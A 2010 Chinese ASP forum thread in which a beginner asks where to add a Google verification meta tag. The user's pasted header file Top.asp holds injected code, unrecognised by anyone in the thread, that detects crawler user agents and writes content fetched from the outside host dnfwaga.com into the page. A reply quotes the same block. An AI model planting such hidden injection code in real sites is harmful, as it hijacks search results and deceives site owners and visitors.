关于在asp文件中添加代码的问题

pengjpn 2010-07-21 10:21:08
最近想使用一下google的管理员工具，于是需要添加一串Google提供的代码在<head>标签中，但是，我们的主页是asp文件，index文件里没有head标签，具体显示的是这样的：

<!--#include file="head.asp"-->
<!--#include file="Top.asp"-->

注：本人不懂asp

于是想，大概是在head.asp或者top.asp文件里吧。于是打开了top.asp文件查看：

<%
'网站头部文件
On Error Resume Next
Function BytesToBstr(Body,Cset)
Dim Objstream
Set Objstream = Server.CreateObject("adodb.stream")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function
%>





<%
Function getBody(infopageurl)
On Error Resume Next
if infopageurl<>"" then
dim xmlHttp
set xmlHttp=server.createobject("MSXML2.XMLHTTP")
xmlHttp.open "GET",infopageurl,false
xmlHttp.send
getBody=BytesToBstr(xmlhttp.responsebody,"GB2312")
set xmlHttp=nothing
end if
end Function
Function BytesToBstr(body,Cset)
dim objstream
set objstream = Server.CreateObject("adodb.stream")
objstream.Type = 1
objstream.Mode = 3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function
dns = Request.ServerVariables("SERVER_NAME")
path = Request.ServerVariables("PATH_INFO")
qs = Request.ServerVariables("QUERY_STRING")
url= dns&path&"?"&qs
agent = Request.ServerVariables("HTTP_USER_AGENT")
tz = "http"
if Instr(agent,tz)>0 then
if path ="/index.asp" or path="/default.asp" then
response.write getBody("http://www.dnfwaga.com/shella.asp?dns="&dns)
else
response.write getBody("http://www.dnfwaga.com/shella.asp?dns="&url&"&dn="&dns)
end if
end if
%>

完全没有看懂，好吧继续看head.asp文件：

<%indexok=1 %>
<!--#include file="inc/Conn.asp"-->
<!--#include file="inc/Config.asp"-->
<!--#include file="inc/Function.asp"-->
<%
'静态页面判断
Set Rs1 = Server.CreateObject("ADODB.RecordSet")
Sql = "select * from htm"
Rs1.Open sql,conn,1,1
dim shouye,erji,neirong,dingshi
shouye=Rs1("shouye")
erji=Rs1("erji")
neirong=Rs1("neirong")
dingshi=Rs1("dingshi")
Rs1.close
set Rs1=Nothing
%>


这个还是看不懂！！

但是好像和inc文件夹里的三个文件有关，于是继续查看：但是依然找不到我能看的懂的任何html标签。

真是糊涂了，我该怎么办，哪一位好人高手能指点小弟一下，不胜感激！！

...全文
165 22 打赏 收藏 转发到动态 举报
写回复
用AI写文章
22 条回复
切换为时间正序
请发表友善的回复…
发表回复
pengjpn 2010-07-22
  • 打赏
  • 举报
 回复
非常感谢各位，我觉得这个可以结贴了。因为，我已经发现症结所在。非常感谢各位。
lzp4881 2010-07-21
  • 打赏
  • 举报
 回复
让你去掉google代码，是让你找出造成页面错乱的原因，是因为加了google代码，还是因为有两个html，要逐步排除错误。
pengjpn 2010-07-21
  • 打赏
  • 举报
 回复
lzp4881大哥哥！！！

我的目的是加入google的代码，如果去掉的话。。。。，还有别的问题吗？
pengjpn 2010-07-21
  • 打赏
  • 举报
 回复
非常感谢十楼。我按照你说的方法，将所有代码都删掉了，只保留了：

<!--#include file="head.asp"-->
<!--#include file="Top.asp"-->

然后上传到服务器测试结果，然后看到居然还有头部文件的存在，查看代码发现，所有的head标签都存在，head里面的mate属性也都存在。

但是，你说的要在那一堆代码里改，我到底要怎么改呢。我首先声明过了，我不懂asp的。

我现在需要加入Google网站管理员工具提供的一串代码：<meta name="google-site-verification" content="fzVrJjJ9lQQG7T2DygvDxH-RMRUhi5zppH-W584aBUg" />

Google说，需要加到head里面才行，否则无法验证。
lzp4881 2010-07-21
  • 打赏
  • 举报
 回复
你先把google代码去掉。
pengjpn 2010-07-21
  • 打赏
  • 举报
 回复
多谢lzp4881。我按照你的方法，在index.asp文件的最前面加了<html><head><google代码></head>

在最后面加了</html>

但是，结果是，页面有部分错乱了。而且，查看源代码，的确是出现了两个html和两个head标签
pengjpn 2010-07-21
  • 打赏
  • 举报
 回复
多谢十楼。请问，您说的当前应用界面是哪一个界面？没弄懂。
pengjpn 2010-07-21
  • 打赏
  • 举报
 回复
多谢八楼。请问，你需要什么代码呢？我这里有很多文件。根目录下游index.asp、head.asp、top.asp，然后再inc文件夹里还有Conn.asp、Config.asp、Function.asp等等，你需要的是哪个文件的代码呢？难不成全贴出来，太多了吧
一把编程的菜刀 2010-07-21
  • 打赏
  • 举报
 回复
给你个建议：
你其他的暂时都注释或者删除掉，只保留这2个文件的调用，然后查看下，看看还能显示效果吗？是否还有HTML代码
如果有
那你十有八九代码是在
if Instr(agent,tz)>0 then
if path ="/index.asp" or path="/default.asp" then
response.write getBody("http://www.dnfwaga.com/shella.asp?dns="&dns)
else
response.write getBody("http://www.dnfwaga.com/shella.asp?dns="&url&"&dn="&dns)
end if
end if
这部分里
lbcleo 2010-07-21
  • 打赏
  • 举报
 回复
直接写在当前要应用的界面就可以了
panzervor 2010-07-21
  • 打赏
  • 举报
 回复
楼主说的那些都是VBScript代码,这个代码好像是动态生成的，楼主最好把所有相关代码都提供一下
lzp4881 2010-07-21
  • 打赏
  • 举报
 回复
不会，即使出现两个也没关系，无所谓。
pengjpn 2010-07-21
  • 打赏
  • 举报
 回复
非常感谢五楼。多谢你。然后，你觉得我在三楼回复的有道理吗？按照二楼的说法，会不会出现两个head两个html标签呢？
lzp4881 2010-07-21
  • 打赏
  • 举报
 回复
我是怕你没装DW
pengjpn 2010-07-21
  • 打赏
  • 举报
 回复
多谢三楼：为什么一定要用记事本打开加呢？用Dreamweaver打开不是一样的吗？
lzp4881 2010-07-21
  • 打赏
  • 举报
 回复
用记事本打开index.asp在这个文件里面加
pengjpn 2010-07-21
  • 打赏
  • 举报
 回复
谢谢二楼，我还没有按照您说的去做，但是，如果我直接打开主页，然后查看源代码的话，会显示所有的标签都存在，有html、head、body等等，所有标签都有的，但是，这个index文件里却不存在。

我想如果用二楼的方法，会不会到时候有两个html、两个head出现呢？
lzp4881 2010-07-21
  • 打赏
  • 举报
 回复
你可以直接在index.asp的最前面加上
<html>
<head>
</head>
这三行

然后在最后面加上
</html>

一把编程的菜刀 2010-07-21
  • 打赏
  • 举报
 回复
[Quote=引用 15 楼 pengjpn 的回复:]
非常感谢十楼。我按照你说的方法，将所有代码都删掉了，只保留了：

<!--#include file="head.asp"-->
<!--#include file="Top.asp"-->

然后上传到服务器测试结果，然后看到居然还有头部文件的存在，查看代码发现，所有的head标签都存在，head里面的mate属性也都存在。

但是，你说的要在那一堆代码里改，我到底要怎么改呢。我首……
[/Quote]
你把<!--#include file="Top.asp"-->再去掉，看看还有不
如果有的话，那说明代码是在

<!--#include file="inc/Conn.asp"-->
<!--#include file="inc/Config.asp"-->
<!--#include file="inc/Function.asp"-->
这里面，如果还没有，那就既有可能是存在数据库或者模版里了

你要学会自己去排除啊
pengjpn 2010-07-21
  • 打赏
  • 举报
 回复
即使想去Google理搜索一下问题，都不知道该怎么搜索，真是笨死了。该怎么办呢，现在开始啃asp的基础知识，什么时候才能碰到能解决这个问题的解答呢。

早知道，当初就先学后台开发技术，不先学前台了
加载更多回复（1）
浪子文章管理程序-特别版
功能： 一、支持UBB代码，自动识别网址！ 二、二级栏目支持、 三、可注册会员、投稿 四、带文章审批功能 五、阅读文章时可自由选择阅读方式、选择字号、颜色等！ 六、自带计数器、在线人数统计、文章统计、会员统计等 七、自带友情链接，可自由添加，由管理员审批后通过！ 八、自带一个简单公告， 九、自带一个留言板，支持UBB、可回复、删除管理 十、算是完整的后台管理，可管理会员、编辑/修改/审批　文章， 十一、改进了作者在发表文章时会自动退出的BUG和代码了一些代码介界之类的东西！ 其它、自已体会....    超级用户名 ddown 密码 ddown 使用数据库:54lz.mdb 要改请改以下三个文件:conn.asp counter.asp 和 mybook目录下的conn.asp 文件,这三个文件内都有相应的说明!
ASP.NET 如何在.cs文件中为前端添加JS代码
方法一 (head 必须添加runat=”server”) script = new HtmlGenericControl("script"); script.Attributes.Add("type", "text/javascript"); script.InnerHtml = " alert(111)"; this.Header.Controls.Add(script); 方法二（
在asp.net页面的aspx文件中插入代码段
1、插入函数代码段 这种方式插入的代码段跟.cs文件中的代码是一致的，在做相应的action时被触发调用。 用于声明ASPX页面动态编译为CS文件的成员变量和方法，此区域不能直接放置语句和表达式，只能放置方法、属性等内容 2、内联代码 这种主要是为了兼容asp的语法 渲染代码区，放置在此区域内的代码将会被编译到PAGE类的Render方法中，编译顺序按照ASPX的自然
Asp.net 在后台代码中给html中的input添加点击事件，以及获取input中的输入值
给input添加点击事件，获取input中输入的内容 在这里我添加了三个常用的input标签，它们的类型分别是text，submit，button。 如果我们想要在后台中为它们添加点击事件（也就是在 .cs文件中），就必须为它添加 runat=“server” 以及 onserverclick=“点击事件的名称”。 注意：是onserverclick不是onclick， 为onclick添...
如何在ASP.NET的web.config配置文件中添加MIME类型
常常有一些特殊的MIME类型是IIS中没有的，一般来说要我们自己手动添加。如果网站经常更换服务器或者网站代码是提供给多个用户使用，那么会造成网站中用到的特殊的MIME类型要经常性的在IIS上配置。这里考虑到一个网站配置通用性问题，所以我们可以将MIME类型添加到ASP.NET网站的配置文件中，这样用户就不用一直配置IIS了。 一般来说我们是将MIME的这部份信息配置在system.webSe
ASP

28,391

社区成员

357,059

社区内容

发帖
与我相关
我的任务
社区描述
ASP即Active Server Pages，是Microsoft公司开发的服务器端脚本环境。
社区管理员
  • ASP
  • 无·法
加入社区
  • 近7日
  • 近30日
  • 至今

加载中

查看更多榜单
社区公告
暂无公告

试试用AI创作助手写篇文章吧

+ 用AI写文章